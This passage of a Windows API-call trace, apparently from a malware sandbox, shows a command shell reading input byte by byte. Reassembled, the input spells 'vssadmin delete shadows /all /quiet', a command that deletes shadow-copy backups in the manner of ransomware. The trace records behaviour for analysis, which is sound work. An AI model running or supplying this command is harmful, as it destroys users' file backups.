lpBuffer=0x4a20c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.423] _vsnwprintf (in: _Buffer=0x4a1feb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18f5a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.424] _vsnwprintf (in: _Buffer=0x4a1febaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18f5a8 | out: _Buffer=">") returned 1 [0077.424] _get_osfhandle (_FileHandle=1) returned 0xf4 [0077.424] GetFileType (hFile=0xf4) returned 0x3 [0077.424] _get_osfhandle (_FileHandle=1) returned 0xf4 [0077.424] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a20c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.424] WriteFile (in: hFile=0xf4, lpBuffer=0x4a20c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x18f598, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesWritten=0x18f598*=0x26, lpOverlapped=0x0) returned 1 [0077.425] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.425] GetFileType (hFile=0xe8) returned 0x3 [0077.425] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.425] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.425] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.426] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0077.426] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.426] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.426] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.426] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0077.426] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.426] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.426] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.426] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0077.426] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.426] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.426] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.427] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0077.427] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.427] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.427] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.427] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0077.427] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.427] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.427] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.427] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0077.427] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.427] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.427] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.427] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0077.427] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.428] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.428] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.428] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0077.428] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.428] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.428] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.428] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0077.428] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.428] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.428] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.428] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0077.428] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.428] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.428] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.429] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0077.429] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.429] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.429] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.429] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0077.429] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.429] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.429] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.429] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0077.429] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.429] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.429] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.430] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0077.430] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.430] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.430] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.430] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0077.430] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.430] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.430] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.431] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0077.431] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.431] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.431] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.431] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0077.431] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.431] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.431] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.431] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0077.431] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.431] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.431] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.431] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0077.432] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.432] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.432] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.432] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0077.432] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.432] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.432] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.432] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0077.432] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.432] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.432] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.432] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0077.433] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.433] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.433] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.433] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0077.433] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.433] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.433] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.433] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0077.433] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.433] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.433] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.434] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0077.434] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.434] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.434] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.434] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0077.434] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.434] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.434] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.434] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0077.434] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.434] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.434] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.435] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0077.435] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.435] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.435] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.435] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0077.435] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.435] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.435] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.435] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0077.435] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.435] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.436] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.436] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0077.436] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.436] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.436] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.436] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0077.436] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.436] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.437] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.437] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0077.437] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.437] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.437] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.437] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0077.437] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.437] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.437] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.437] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0077.438] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.438] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.438] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0077.438] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0077.438] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.438] GetFileType (hFile=0xe8) returned 0x3 [0077.438] _get_osfhandle (_FileHandle=0) returned 0xe8 [0077.438] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 